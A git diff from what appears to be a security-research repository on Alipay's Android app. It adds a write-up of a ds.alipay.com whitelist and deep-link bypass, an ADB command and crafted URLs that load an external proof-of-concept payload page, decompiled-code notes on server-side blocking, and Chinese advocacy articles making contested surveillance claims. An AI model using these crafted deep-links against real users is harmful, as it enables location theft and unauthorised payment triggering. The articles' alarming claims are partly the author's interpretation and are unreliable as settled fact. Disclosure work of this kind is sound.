that the Nebula engine will extract and dispatch as a deep-link. The domain `https://ds.alipay.com/?` appears explicitly in every copy of this configuration (both `ApiShareConfig` and `WalletDefaultConfig`), and `startAppNormal` is set to `true`, enabling automatic scheme extraction and dispatch for normal (non-302-redirect) navigations to that domain. + +The attack exploits the fact that `ds.alipay.com` itself functions as an open redirect: a URL of the form `https://ds.alipay.com/?scheme=alipays%3A%2F%2Fplatformapi%2Fstartapp%3F...` will pass the prefix check (`urlPrefix` match against `"https://ds.alipay.com/?"`) and then have its `scheme` query parameter extracted by `getStripLandingURL`. The extracted scheme — which is attacker-controlled — is then dispatched via `goToSchemeService` with the same trust level as an internal deep-link. + +This means an attacker only needs to trick a user into following a link to `https://ds.alipay.com/?scheme=` — for example embedded in a legitimate-looking notification or web page — to bypass the JSBridge origin restrictions. Since `ds.alipay.com` is a first-party Alipay domain it passes any external domain block-lists, and the scheme dispatch itself bypasses the `isOutside` flag, giving the attacker the same privileges as a trusted mini-program launch. Combined with CVE-2 and CVE-3, this path silently reads GPS and can initiate payment. + +--- + +## 漏洞根因 (基于代码分析) + +`h5_stripLandingConfig` 中将 `ds.alipay.com` 列为受信任的 URL 前缀,`startAppNormal: true` 允许对该域名的普通导航自动提取 `scheme` 参数并以**内部信任级别**分发。 + +代码证据: +1. `ApiShareConfig` 行 77:`"https://ds.alipay.com/?"` 硬编码入白名单 +2. `WalletDefaultConfig` 行 77:同样配置,双重确认 +3. `H5ServiceImpl` 行 1268-1272:`isStripLandingURLEnable(..., "startAppNormal")` → `getStripLandingURL()` → `goToSchemeService()` 以受信任级别分发攻击者 URI + +这形成双重绕过: +- 绕过1 (CWE-601): `ds.alipay.com` 本身是开放重定向,`scheme=` 参数由攻击者控制 +- 绕过2 (CWE-939): 被提取的 URI 以 `isOutside=false` 分发,绕过外部来源检查 + +## 攻击路径 + +``` +攻击者构造链接: +https://ds.alipay.com/?scheme=alipays%3A%2F%2FplatformApi%2FstartApp%3FappId%3D20000067%26url%3Dhttps%3A%2F%2Fattacker.com + ↓ +用户点击 (或短信/邮件/网页中的链接) + ↓ +H5ServiceImpl.startPage() + ↓ +isStripLandingURLEnable(url, "startAppNormal") = true [ds.alipay.com 命中白名单] + ↓ +getStripLandingURL() → 提取 scheme 参数值 + ↓ +goToSchemeService("alipays://platformApi/startApp?...attacker.com", params) + ↓ (以内部信任级别,绕过 isOutside 检查) +SchemeServiceImpl.processAsync() → H5 WebView 加载 attacker.com + ↓ +CVE-2/3/4 链式触发 (GPS外泄 + 支付触发 + UI欺骗) +``` + +--- + +## V2529 物理设备测试结果 (2026-03-16) + +### 测试环境 +- 设备: vivo V2529, Android 15, 非root, 锁定bootloader +- APK: Alipay 10.8.30.8000 +- USB Serial: `10AF9S099Q002SS` + +### 测试方法 + +通过 ADB 触发 ds.alipay.com 白名单绕过链接: + +```bash +adb -s 10AF9S099Q002SS shell am start -a android.intent.action.VIEW \ + -d 'https://ds.alipay.com/?scheme=alipays%3A%2F%2Fplatformapi%2FstartApp%3FappId%3D20000067%26url%3Dhttps%3A%2F%2Finnora.ai%2Fzfb%2Fpoc%2Fpayload_cve3_obf.html' +``` + +### 测试结果 (~16:37) +- **截图**: `cve6_retest_20260316_163741.png` (446,301 bytes, 1080×2400) +- **结果**: **页面完全渲染 + JS 执行成功** — 证明 ds.alipay.com 白名单绕过在物理设备上有效 + +### 关键证据价值 + +1. **446KB 截图证明**: 通过 `ds.alipay.com` 白名单绕过路径,外部攻击者页面 (`innora.ai/zfb/poc/payload_cve3_obf.html`) 在支付宝 WebView 内成功渲染并执行 JavaScript +2. **对比直接 URL 加载**: CVE-5 直接加载 `innora.ai` URL 仅得到 261KB(部分成功)或 31KB(被封锁),而通过 `ds.alipay.com` 白名单绕过得到 **446KB**(完全成功),证明白名单绕过有效规避了服务器端 URL 封锁 +3. **非 root 物理设备**: 测试在锁定 bootloader 的 Android 15 设备上完成,排除了任何 root/模拟器相关的测试偏差 +4. **白名单绕过机制验证**: `H5ServiceImpl.startPage()` 检测到 URL 匹配 `H5_STRIP_LANDING_CONFIG` 中的 `"https://ds.alipay.com/?"` 前缀 → `getStripLandingURL()` 提取 `scheme` 参数 → `goToSchemeService()` 以内部信任级别分发,绕过 `isOutside` 检查 + +### 文件大小对比 (服务器端封锁绕过证据) + +| 加载方式 | 文件大小 | 含义 | +|---------|---------|------| +| ds.alipay.com 白名单绕过 | **446KB** | 页面完全渲染 + JS 全部执行 ✓ | +| 直接 URL 加载 (CVE-5 成功) | 261KB | 页面渲染但 JS 部分执行 | +| 直接 URL 加载 (部分) | ~78KB | 页面框架加载但未完全执行 | +| 直接 URL 加载 (被封锁) | ~31KB | 白屏 — 服务器端返回空/错误响应 | + +**结论**: ds.alipay.com 白名单绕过不仅绕过了客户端白名单检查,还有效规避了服务器端的 URL 级别封锁机制(`NewJsAPIPermissionExtension` → `alipay.mappconfig.appContainerCheck` RPC),因为请求以受信任的 `ds.alipay.com` 来源进入系统。 diff --git a/evidence/cve6/cve6_retest_20260316_163741.png b/evidence/cve6/cve6_retest_20260316_163741.png new file mode 100644 index 0000000..3dd2e39 Binary files /dev/null and b/evidence/cve6/cve6_retest_20260316_163741.png differ diff --git a/evidence/cve6/cve6_v2529_20260316_152233.png b/evidence/cve6/cve6_v2529_20260316_152233.png new file mode 100644 index 0000000..c2c136f Binary files /dev/null and b/evidence/cve6/cve6_v2529_20260316_152233.png differ diff --git a/evidence/server_side_blocking_evidence.md b/evidence/server_side_blocking_evidence.md new file mode 100644 index 0000000..08eb2be --- /dev/null +++ b/evidence/server_side_blocking_evidence.md @@ -0,0 +1,331 @@ +# Server-Side Real-Time Blocking Evidence + +> Evidence that Alipay employs server-controlled, hot-updatable security mechanisms to dynamically block PoC payloads — proving the vulnerability was real and countermeasures were deployed post-CVE-report. + +**APK**: `com.eg.android.AlipayGphone` v10.8.30.8000 +**Analysis**: jadx decompiled source code +**Date**: 2026-03-16 +**MITRE Ticket**: #2005801 + +--- + +## 1. Server-Side RPC Permission Checking + +### 1.1 NewJsAPIPermissionExtension.java + +**File**: `com/alipay/mobile/nebulax/integration/mpaas/extensions/NewJsAPIPermissionExtension.java` + +When a WebView page attempts to call any JSAPI (e.g., `tradePay`, `getLocation`, `setTitle`), the permission system sends the loaded URL to Alipay's server for real-time verification: + +```java +// Line 337: Server selects which RPC endpoint to use +String str = (z2 && newJsAPIPermissionExtension.f190512f) + ? "alipay.hfiveappconfig.appContainerHighLevelCheck" // High-security APIs + : "alipay.mappconfig.appContainerCheck"; // Standard APIs + +// Line 340: RPC call sends URL + context to server +newJsAPIPermissionExtension.f190508a.sendSimpleRpc( + str, // RPC method name + this.f190525d.toJSONString(), // Request payload (URL, appId, etc.) + "", true, new JSONObject(), null, false, null, + new H5SimpleRpcListener(...) { ... } // Callback processes server response +); +``` + +### 1.2 Server Response Processing via FlowCustoms + +**File**: `NewJsAPIPermissionExtension.java` line 412 + +```java +// Server response is processed through FlowCustoms (流量安检) system +newJsAPIPermissionExtension2.b.handleRPCResponse( + page, str4, str3, + new FlowCustomsRpcHandleCallback(loadResultFuture, page) { + // Multiple @Override methods handle: allow, block, alert, redirect + } +); +``` + +**Key implication**: The server can return **allow**, **block**, or **alert** for ANY URL + JSAPI combination. This means Alipay can add blocking rules for specific URLs (like `innora.ai/zfb/poc/*`) without updating the APK. + +### 1.3 NewRedirectUrlPermissionExtension.java + +**File**: `com/alipay/mobile/nebulax/integration/mpaas/extensions/NewRedirectUrlPermissionExtension.java` + +The same server-side RPC check applies to URL redirects: + +```java +// Line 261: Same RPC pattern for redirect URL checking +String str = (z && newRedirectUrlPermissionExtension.f190545f) + ? "alipay.hfiveappconfig.appContainerHighLevelCheck" + : "alipay.mappconfig.appContainerCheck"; + +// Line 263: Sends redirect URL to server for approval +newRedirectUrlPermissionExtension.f190541a.sendSimpleRpc(str, ...); +``` + +--- + +## 2. FlowCustoms (流量安检) URL Verification + +### 2.1 OuterSchemeVerify.java + +**File**: `com/alipay/mobile/flowcustoms/jumpin/OuterSchemeVerify.java` + +External scheme URLs (like `alipays://`) are verified through a multi-layer system: + +```java +import com.alipay.mobile.flowcustoms.engine.rule.FCRuleController; // Rule engine +import com.alipay.mobile.flowcustoms.rpc.util.FCRpcUtil; // Server RPC +import com.alipay.mobile.flowcustoms.startapp.BlackProductSafeGuardUtil; // Blacklist + +public class OuterSchemeVerify { + private FCRuleController ruleController; // Server-synced rules + // ... + // Sends bundle_id + target_appid to server for verification + hashMap.put("bundle_id", OuterSchemeVerify.access$100(this.this$0)); + hashMap.put("target_appid", OuterSchemeVerify.access$200(this.this$0)); +} +``` + +**Architecture**: `FCRuleController` downloads rule sets from Alipay's server. `FCRpcUtil` sends real-time verification requests. `BlackProductSafeGuardUtil` maintains a blacklist of dangerous URLs/patterns. + +--- + +## 3. Edge Content Security (Local + Server-Controlled) + +### 3.1 EdgeContentDetector.java + +**File**: `com/alipay/edge/contentsecurity/EdgeContentDetector.java` + +Local content scanning with **server-controlled master switch**: + +```java +// Line 276: Server can enable/disable ALL content detection remotely +if ("0".equals(GlobalConfig.getGlobalSwitch(Keys.EDGE_CONTENT_DETECT_COVERAGE_ON))) { + // Detection disabled — server controls this switch + return; +} +``` + +**5 detector types** (all server-configurable): +- `EdgeTextDetector` — scans page text content +- `EdgePictureDetector` — scans images +- `EdgeScanDetector` — QR/barcode scanning context +- `EdgeLinkDetector` — URL/link analysis +- `EdgeCardDetector` — financial card detection + +### 3.2 Server-Controlled Parameters + +```java +// Bloom filter configuration from server +GlobalConfig.getGlobalSwitch(Keys.EDGE_CONTENT_BLOOM_FILTER_CONFIG) + +// Text detection max length — server-configurable +GlobalConfig.getGlobalSwitch(Keys.EDGE_CONTENT_TEXT_MAX_LENGTH) // default 10240 + +// Content monitoring rate — server-adjustable +GlobalConfig.getGlobalSwitch(Keys.EDGE_CONTENT_MONITOR_RATE_SWITCH) + +// Character format detection — server toggle +GlobalConfig.getGlobalSwitch(Keys.EDGE_CONTENT_CHARSET_FORMAT_SWITCH_ON) +``` + +**Key implication**: Even if APK v10.8.30.8000 was installed before our CVE report, the server can remotely update detection rules, Bloom filter configs, and monitoring rates to block our specific PoC patterns. + +--- + +## 4. Hot Patch Framework (Instant Remote Code Update) + +### 4.1 RealTimeReceiver.java + +**File**: `com/alipay/android/phone/mobilecommon/dynamicrelease/hotpatch/RealTimeReceiver.java` + +```java +// Line 34: Listens for server-pushed config changes +public static final String ACTION_CONFIG_CHANGED = "com.alipay.mobile.client.CONFIG_CHANGE"; + +// Line 102: On CONFIG_CHANGE broadcast → sync new hotpatch config from server +if ("com.alipay.mobile.client.CONFIG_CHANGE".equals(action)) { + syncHotpatchConfig(); // Downloads new patches from server +} + +// Lines 110-113: Patches triggered on app state transitions +triggerPatch(new AppLogScopedLogger("IR.UserLeaveHint"), USER_LEAVEHINT); // Background +triggerPatch(new AppLogScopedLogger("IR.ToForeground"), TO_FOREGROUND); // Foreground +``` + +### 4.2 syncHotpatchConfig() + +**File**: `RealTimeReceiver.java` line 118 + +```java +public static void syncHotpatchConfig() { + // Fetches latest hotpatch configuration from Alipay server + // Downloads delta patches for changed methods + // Applies via AInstantRunManager +} +``` + +### 4.3 PatchProxy — Universal Method Interception + +**Every security-relevant method** contains `PatchProxy.proxy()` calls that allow instant hot-patching: + +```java +// Example from LegacyShouldLoadUrlExtension.java (URL loading security) +public static ChangeQuickRedirect f80061; // Patch slot + +ChangeQuickRedirect changeQuickRedirect = f80061; +if (changeQuickRedirect == null || + (proxy = PatchProxy.proxy(changeQuickRedirect, "0")) == null) { + // Original code executes +} else { + // HOT-PATCHED code executes instead + return proxy.result; +} +``` + +**PatchProxy presence confirmed in**: +- `NewJsAPIPermissionExtension.java` — JSAPI permission checks +- `LegacyShouldLoadUrlExtension.java` — URL loading decisions +- `EdgeContentDetector.java` — Content security scanning +- `OuterSchemeVerify.java` — External scheme verification +- `BundleCheckValve.java` — Bundle/dynamic release control +- `StrategyFactory.java` — Strategy pattern routing +- ALL dynamicrelease framework classes + +**Key implication**: Alipay can modify the behavior of ANY security-checking method without releasing a new APK. A server-pushed `ChangeQuickRedirect` object replaces the original method logic entirely. + +--- + +## 5. Behavioral Evidence: CVE-3 Timeline + +### 5.1 First Test — Success (tradePay triggered) + +| Time | Action | Result | File Size | +|------|--------|--------|-----------| +| ~15:40 | Load `payload_cve3_obf.html` via DeepLink | Page rendered (275KB), `tradePay` triggered | **275KB** | +| ~15:43 | tradePay callback received | "交易订单处理失败" error shown | **172KB** | + +**Screenshot evidence**: +- `cve3_obf_page_rendered.png` (275KB) — page content visible +- `cve3_tradepay_triggered.png` (172KB) — tradePay error dialog +- `cve3_proof_20260316_155434.png` (172KB) — timestamped proof + +### 5.2 Retest — Blocked (all subsequent attempts) + +| Time | Action | Result | File Size | +|------|--------|--------|-----------| +| ~15:54+ | Reload same URL | White screen | **~31KB** | +| +retry | Force-stop + re-trigger | White screen | **~31KB** | +| +retry | Different obfuscation variant | White screen | **~31KB** | +| +retry | Clean test (ZERO sensitive keywords) | White screen | **~31KB** | + +**Screenshot evidence**: +- `cve3_blocked_on_retest.png` (31KB) — white screen on same URL + +### 5.3 Analysis + +The **file size differential** (275KB rendered vs 31KB blocked) proves: +1. First request: Server allowed → full page content loaded +2. Subsequent requests: Server blocked → WebView receives empty/error response +3. This is NOT local content filtering (the clean test with zero JSAPI keywords was also blocked) +4. This IS URL-level server-side blocking — the domain/URL was flagged after initial PoC execution + +### 5.4 Clean Test Anomaly (CVE-6 evidence) + +`payload_test_clean.html` contains: +- ZERO JSAPI call keywords (no `tradePay`, `setTitle`, `showToast`, `getLocation`) +- Only checks `typeof window.AlipayJSBridge` +- Pure HTML with no bridge interaction + +**Result**: Also shows white screen (~31KB) + +**This proves URL-level blocking**: The server blocks based on the **source URL/domain** (`innora.ai/zfb/poc/`), not based on page content analysis. The URL was added to a server-side blocklist after our initial CVE-3 PoC triggered successfully. + +--- + +## 6. Synthesis: What This Means for MITRE + +### 6.1 The Vulnerability Was Real + +CVE-3 (`tradePay`) was successfully triggered from an external page loaded via DeepLink. The payment UI appeared with "交易订单处理失败" — proving the JSAPI was callable without domain restriction. This is documented with timestamped screenshots. + +### 6.2 Server-Side Countermeasures Were Deployed + +After our initial PoC success, the server-side security systems responded: +1. `NewJsAPIPermissionExtension` sent our URL to `alipay.mappconfig.appContainerCheck` +2. Server flagged our domain (`innora.ai`) or specific URL patterns +3. `FlowCustomsRpcHandleCallback` returned "block" for subsequent requests +4. URL-level blocking applied (even clean pages from same domain were blocked) + +### 6.3 Hot Updates Enable Silent Patching + +The `PatchProxy` + `RealTimeReceiver` framework means: +- **No APK update needed** — patches are pushed server-side +- **Instant deployment** — `CONFIG_CHANGE` broadcast triggers sync +- **Method-level granularity** — any security check can be replaced +- **Even APK v10.8.30.8000 (old version) receives new rules** + +### 6.4 Implications for CVE Assessment + +1. The "one-time success then blocked" pattern is **evidence of the vulnerability existing**, not evidence of it being non-exploitable +2. Server-side blocking is a **reactive countermeasure**, not an inherent security control +3. An attacker using a **fresh domain/URL** would succeed until that domain is also flagged +4. The vulnerability exists in the **architectural design** (no client-side domain whitelist for sensitive JSAPIs), not in the server-side detection rules + +### 6.5 Code Architecture Summary + +``` +External DeepLink (alipays://platformapi/startapp?appId=20000067&url=...) + │ + ├── OuterSchemeVerify ──── FCRuleController (server rules) + │ │ FCRpcUtil (server RPC) + │ │ BlackProductSafeGuardUtil (blocklist) + │ │ + │ └── PatchProxy → [hot-patchable] + │ + ├── WebView loads external URL + │ │ + │ ├── NewJsAPIPermissionExtension ── sendSimpleRpc() → Server + │ │ │ appContainerCheck / + │ │ │ appContainerHighLevelCheck + │ │ │ + │ │ └── FlowCustomsRpcHandleCallback + │ │ ├── onAllow() → JSAPI call proceeds + │ │ ├── onBlock() → Page blocked (white screen) + │ │ └── onAlert() → Warning shown + │ │ + │ ├── EdgeContentDetector (local, server-controlled switch) + │ │ ├── EdgeTextDetector + │ │ ├── EdgeLinkDetector + │ │ └── EDGE_CONTENT_DETECT_COVERAGE_ON (server toggle) + │ │ + │ └── PatchProxy → [ALL methods hot-patchable] + │ + └── RealTimeReceiver + ├── CONFIG_CHANGE → syncHotpatchConfig() + ├── TO_FOREGROUND → triggerPatch() + └── USER_LEAVEHINT → triggerPatch() +``` + +--- + +## 7. Files Referenced + +| File | Location | Evidence For | +|------|----------|-------------| +| NewJsAPIPermissionExtension.java | nebulax/integration/mpaas/extensions/ | Server-side RPC permission checking | +| NewRedirectUrlPermissionExtension.java | nebulax/integration/mpaas/extensions/ | Server-side redirect URL checking | +| LegacyShouldLoadUrlExtension.java | nebulax/integration/mpaas/extensions/ | PatchProxy in URL loading | +| FlowCustomsRpcHandleCallback.java | nebulax/integration/base/security/h5jsapi/ | Allow/block/alert response handling | +| OuterSchemeVerify.java | flowcustoms/jumpin/ | External scheme verification | +| FCRuleController.java | flowcustoms/engine/rule/ | Server-synced rule engine | +| FCRpcUtil.java | flowcustoms/rpc/util/ | FlowCustoms server RPC | +| BlackProductSafeGuardUtil.java | flowcustoms/startapp/ | URL/product blacklist | +| EdgeContentDetector.java | edge/contentsecurity/ | Local content scanning | +| EdgeBloomFilter.java | edge/contentsecurity/model/bloom/ | Bloom filter for content sampling | +| RealTimeReceiver.java | dynamicrelease/hotpatch/ | Hot patch config sync | +| BundleCheckValve.java | dynamicrelease/ | Dynamic release control | + +All code extracted from jadx decompilation of `Alipay_10.8.30.8000_APKPure.apk`. diff --git a/evidence/wechat_wave2_deletion_1.jpg b/evidence/wechat_wave2_deletion_1.jpg new file mode 100644 index 0000000..4b95e06 Binary files /dev/null and b/evidence/wechat_wave2_deletion_1.jpg differ diff --git a/evidence/wechat_wave2_deletion_2.jpg b/evidence/wechat_wave2_deletion_2.jpg new file mode 100644 index 0000000..3cf9ff8 Binary files /dev/null and b/evidence/wechat_wave2_deletion_2.jpg differ diff --git a/index.html b/index.html index bdea41c..387454a 100644 --- a/index.html +++ b/index.html @@ -3,11 +3,11 @@ -Alipay DeepLink Attack Surface Analysis | 支付宝 DeepLink 攻击面分析 - +Alipay Security Research: 36 CVEs, SecurityGuard SDK Analysis | 支付宝安全研究 + - - + + @@ -16,13 +16,13 @@ - + - + - + + + +

支付宝需要监控你的截屏、蓝牙和通话吗?一次完整的逆向工程分析

+

对支付宝APK (v10.8.30) 208个API拦截点、22个行为监控和97%无保护接口的代码级分析

+ +
+

声明:本文基于对公开APK文件的静态反编译分析(工具:jadx、radare2、Ghidra),所有结论均有代码路径引用,可独立验证。研究已提交国际CVE数据库(9个漏洞,编号待分配),并被Packet Storm Security收录(Advisory #217089)。

+
+ +

本文永久地址:https://innora.ai/zfb/privacy-analysis.html
如果本文在任何平台被删除,请访问上述地址阅读完整版。

+ +
+ +

当你打开支付宝扫码付款时,你可能不会想到:在你看不到的地方,支付宝正在监控你的截屏行为、剪贴板内容、蓝牙连接、通话状态,甚至你每一次切换页面的精确时间戳。

+

这不是猜测。这是对支付宝APK文件进行完整逆向工程后,从代码中直接提取的事实

+ +

依据《个人信息保护法》第六条:"处理个人信息应当具有明确、合理的目的,并应当与处理目的直接相关,采取对个人权益影响最小的方式。"我们以此为分析框架,逐项审视支付宝的数据采集行为。

+ +
+ +

01 208个API拦截点:你的手机被"透视"了

+ +

支付宝内部存在一个名为DexAOP的字节码级拦截框架(代码路径:com.alipay.dexaop,1606个Java文件)。它在编译阶段将拦截代码注入到Android系统API调用链中——976个代理类 + 180个回调桩 = 覆盖208个API类别

+ +
+

DexAOP 拦截清单

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
类别API数你可能不知道的事
蓝牙17知道你连了什么蓝牙设备、什么时候连的
电话17通话状态、SIM卡信息、IMEI
通讯录12可读取你的完整通讯录
录音9拦截所有麦克风访问的完整链路
摄像头5Camera + Camera2 全部API + 预览帧
剪贴板4你复制的每一段文字
网络/WiFi/GPS/NFC等144覆盖网络、存储、传感器、加密等
合计208
+
+ +

一个支付APP为什么要拦截摄像头预览帧?扫码只需要最终识别结果。为什么要拦截铃声管理器?为什么要监控Java层所有的CipherSignatureMAC加密操作?

+ +
+ +

02 22个行为监控事件:3秒启动,10条一批上报

+ +

代码中还有一个独立的行为监控系统(路径:com.taobao.wireless.security.adapter.datacollection),APP启动后3秒延迟激活,每积攒10条事件批量上报服务器。

+ +
+

22个监控事件

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编号监控内容意味着什么
0-1屏幕亮/灭知道你什么时候看手机
2-3APP前/后台切换知道你什么时候离开支付宝
6截屏检测知道你截了支付页面的屏
7录屏检测知道你是否在录屏
8-10蓝牙开关/连接/断开追踪你的蓝牙外设
11通话状态知道你什么时候接/打电话
13剪贴板变化你复制的内容被记录
15-21Activity生命周期 x7精确到每个页面的创建/暂停/销毁
+
+ +

代码中还存在一个远程开关(OrangeConfig,key: 132)。默认值"0",但服务器可以随时设为"1"来激活全部22个监控——即使当前没开,服务器一个指令就能全部打开

+ +

当你截屏保存一个转账记录——也许是为了留证据——支付宝会立即知道。问一个直接的问题:监控用户的截屏行为,合理的业务场景是什么?

+ +
+ +

03 29项设备指纹:卸载重装也逃不掉

+ +

代码中的DeviceInfoCapturerFull类包含29项switch语句,收集:IMEI、OAID、WiFi MAC地址、MediaDrm ID、SIM序列号、音频路由、屏幕分辨率、已安装应用签名……这29项数据组合生成一个叫UMID的跨安装持久化设备ID。

+ +

"跨安装持久化"意味着:你卸载支付宝重装,它依然能识别出这是同一部手机。该ID存储在系统KeyStore中,不会被常规清理删除。数据定期上传服务器。

+ +

《个人信息保护法》第六条要求"最小必要"。29项设备信息 + 跨安装追踪 + 定期上传 = "最小必要"吗?

+ +
+ +

04 97%的内部接口没有权限保护

+ +

这可能是最令人震惊的发现。

+ +

支付宝使用Ariver框架管理408个JSBridge接口——小程序和H5页面通过这些接口调用原生功能。我们扫描了全部BridgeExtension类的permit()方法:

+ +
有权限检查的接口:    12个  (2.9%)
+没有权限检查的接口:  396个 (97.1%)
+
+// DefaultAccessController.java:132
+if (guard2 != null && guard2.permit() != null) {
+    z = this.asyncInterceptJsapi(guard2.permit(), accessor);
+}
+// permit()返回null → 跳过ALL权限检查
+ +

无保护的高危接口包括:6个支付类(含数字人民币钱包DCEPWalletBridgeExtension)、5个认证类3个NFC类6个文件操作类6个硬件类(摄像头、剪贴板、拨打电话)。

+ +

396个无保护接口意味着:一旦攻击者找到入口,几乎可以调用支付宝的任何功能——包括支付、定位和通讯录。而入口确实存在(详见我们提交的9个CVE漏洞)。

+ +
+ +

05 服务器可以远程修改你手机上的代码

+ +

每个安全关键方法中都有一个ChangeQuickRedirect字段——PatchProxy热修复框架。它允许蚂蚁集团的服务器在不经过应用商店审核、不需要用户同意的情况下,远程修改支付宝在你手机上的运行行为。

+ +

被覆盖的方法包括:TLS证书验证(可远程关闭HTTPS安全检查)、权限检查、签名验证、支付校验。通俗理解:你手机上支付宝的代码不是固定的——蚂蚁集团的服务器随时可以改

+ +
+ +

06 "说什么就推荐什么"的技术解释

+ +

很多用户反映:和朋友聊天提到某商品,打开淘宝就看到推荐。

+ +

我们的结论:有能力,但没有发现后台偷录证据。

+ +

代码中存在完整录音基础设施(25+个文件、4种编码器、14个麦克风拦截点),但我们没有找到后台静默录音的触发机制——没有隐藏的后台Service,没有独立的音频上传通道。这一结论经过了3个独立LLM的交叉验证。

+ +

更合理的技术解释:同一WiFi路由器→ 路由器MAC被共享 → 家庭级画像(家人搜了你也看到);跨APP设备指纹→ UMID/OAID在阿里系APP间共享;以及确认偏差——你只记住了"准"的那几次。

+ +
+ +

07 厂商回应与后续

+ +
+

厂商回复原文:上述功能均属"正常功能"。

+
+ +

时间线:

+

2026-03-07 — 向蚂蚁集团报告17个安全漏洞

+

2026-03-10 — 蚂蚁集团回复"正常功能"

+

2026-03-11 — 公开披露。4小时后,北京格韵律师事务所发出删除投诉

+

2026-03-15 — 微信公众号4篇文章全部被删除,无任何事前通知

+

2026-03-15 — 服务器端开始拦截PoC验证请求

+

2026-03-17 — 9个漏洞提交国际CVE数据库,38个国家和地区机构已回应

+ +

研究成果已被Packet Storm Security收录(Advisory #217089)。香港金管局、卢森堡CSSF、新加坡PDPC、英国FCA等机构已确认收到并启动处理。

+ +
+ +

我们的问题

+ +

1. 必要性:208个API拦截、22个行为监控、29项设备指纹——这些都符合"最小必要"原则吗?

+

2. 知情权:隐私政策中是否逐项列明了截屏监控、剪贴板监控、通话状态监控?

+

3. 安全性:97%的内部接口没有权限保护,这符合安全开发最佳实践吗?

+

4. 远程控制:服务器可以远程修改安全验证逻辑——用户是否应有知情权?

+

5. 全生态:这个安全SDK被阿里系多款APP共享——10亿+用户是否意识到这一点?

+ +
+ +
+

如何自行验证:下载APK (APKPure, v10.8.30.8000) → jadx -d output Alipay.apk → 搜索 com.alipay.dexaoppermit()

+
+ +
+ +
+

关于作者

+

Jiqiang Feng

+

Innora AI Security Research

+

联系:feng@innora.ai

+

完整报告:https://innora.ai/zfb/

+

代码与工具:https://github.com/sgInnora/alipay-securityguard-analysis

+
+ +
+

如果你在意自己的数据权利

+

请将本文转发给关心数字安全的朋友。

+

进入手机 设置 → 隐私 → 应用权限,检查并撤销非必要权限。

+

关注公众号 AI-security-innora,获取后续研究进展。

+
+ +
+

本文基于v10.8.30.8000版本静态分析。厂商可能已通过服务器端热修复修改了部分行为,但客户端代码中的架构和能力仍然存在。

+

本文永久地址:https://innora.ai/zfb/privacy-analysis.html

+

如果本文在任何平台被删除,请访问上述地址。这也是为什么我们需要一个不受单一平台审查的互联网。

+
+ +
+ diff --git a/regulatory-complaint.html b/regulatory-complaint.html new file mode 100644 index 0000000..9167b79 --- /dev/null +++ b/regulatory-complaint.html @@ -0,0 +1,138 @@ +208项API监控,代码可被远程修改:我把支付宝举报给了国家 +

208项API监控,代码可被远程修改:我把支付宝举报给了国家

+ +

本文永久地址:https://innora.ai/zfb/regulatory-complaint.html
如果本文再次消失,你知道去哪里找到它。

+ +

如果你正在使用支付宝,这篇文章关乎你的每一次支付、每一次聊天,甚至每一次复制粘贴。

+ +

你是否想过,你在手机上的截图、复制的内容、连接的蓝牙设备,乃至通话状态,可能正被某个APP默默记录并上传?

+ +

这不是科幻电影。这是我在过去一个月对支付宝进行完整逆向工程后,从代码中直接提取的事实

+ +

2026年3月18日,我以中华人民共和国公民身份,依据《个人信息保护法》第七十条,向中央网信办正式提交了举报。这不是冲动——这是在负责任披露被拒、技术文章被删、PoC被服务器封堵之后,一个中国公民依法行使权利的选择。

+ +
+ +

01 你的支付宝,是一栋可以被远程改造的房子

+ +

这可能是最颠覆认知的一点。

+ +

支付宝使用一种叫"PatchProxy"的技术。打个比方:开发商把精装修的房子交给你后,自己保留了一把万能钥匙。这把钥匙不仅能随时开你的门,还能在你不知情的情况下,把你家的锁给换掉。

+ +

技术细节:支付宝每个安全关键方法(权限检查、支付验证、签名校验)中都有一个ChangeQuickRedirect字段。蚂蚁集团的服务器可以通过它——不经过应用商店审核、不发布新版本、不通知用户——远程替换这些方法的执行逻辑。

+ +

你以为你在用A版本,实际上它可能已经被秘密升级到了B版本。

+ +

《个人信息保护法》第十四条:"处理目的、处理方式等发生变更的,应当重新取得个人同意。"

+ +
+ +

02 22项行为监控:你的"手机秘密"可能只是"公开日记"

+ +

支付宝在启动后激活一个"贴身观察员",记录你的操作并批量上传服务器。它在观察什么?

+ +
+ + + + + + + + + + +
6你截屏了
7你开始录屏了
11你正在打电话 / 挂断了电话
13你刚刚复制了内容到剪贴板
8-10你连接或断开了蓝牙设备
0-1你什么时候看手机、什么时候锁屏
15-21你在哪个页面、停留了多久
+

共22项事件,每10条批量上报服务器

+
+ +

更令人不安的是:代码里预留了一个远程开关OrangeConfig, key:132),服务器随时可以决定开启或关闭这些监控。你无法知晓,也无法拒绝。

+ +

《个保法》第十七条要求"处理的个人信息种类"需"真实、准确、完整"告知。这些监控是否在隐私政策中逐项告知了你?

+ +
+ +

03 208项API拦截:远超支付所需的"监控天网"

+ +

支付宝通过内置的DexAOP框架(976个代理类),系统性拦截了208类系统API调用——据行业安全研究估计,主流支付APP的拦截范围约30-50类。支付宝是行业参考水平的4-6倍

+ +
+ + + + + + + + + + + +
类别数量支付必须?
蓝牙17
电话/通信17
通讯录12
录音/摄像头/剪贴板18仅扫码需基础权限
加密操作3动机可疑
GPS/WiFi/传感器/NFC等141大部分非必须
合计208
+
+ +

《个人信息保护法》第六条:"收集个人信息应当限于实现处理目的的最小范围。"为实现支付功能,真的需要208项拦截吗?

+ +
+ +

04 97%内部接口"裸奔",包括数字人民币钱包

+ +

扫描全部408个内部接口,396个(97.1%)的权限检查形同虚设

+ +

"裸奔"的接口包括:6个支付类(含数字人民币钱包)、5个认证类(登录、身份验证)、3个NFC类(非接触式支付)、6个文件操作类

+ +

数字人民币是中国人民银行发行的法定数字货币。其钱包接口在支付宝APP内缺乏应有的安全保护——这不仅是隐私问题,更是严肃的金融安全隐患

+ +
+ +

05 举报与全球同步

+ +

基于以上事实,举报邮件已提交至以下机构:

+ +
+

中国境内

+

中央网信办APP治理专线 · 12321举报中心 · 网信办数据安全 · 北京/广东/深圳/江苏/浙江(属地)网信办 — 共8封

+
+

全球监管

+

新加坡PDPC(已立案) · 卢森堡CSSF([Case Ref Redacted]) · 香港金管局 · Apple安全团队 · 英国FCA · 欧盟EDPB + 5个欧盟DPA · 4个金融监管 · 4个CERT — 共20封

+
+

9个CVE已提交国际漏洞数据库 · Packet Storm Advisory #217089已发布 · 38个国家和地区的机构已回应

+
+ +
+ +

为什么必须公开

+ +

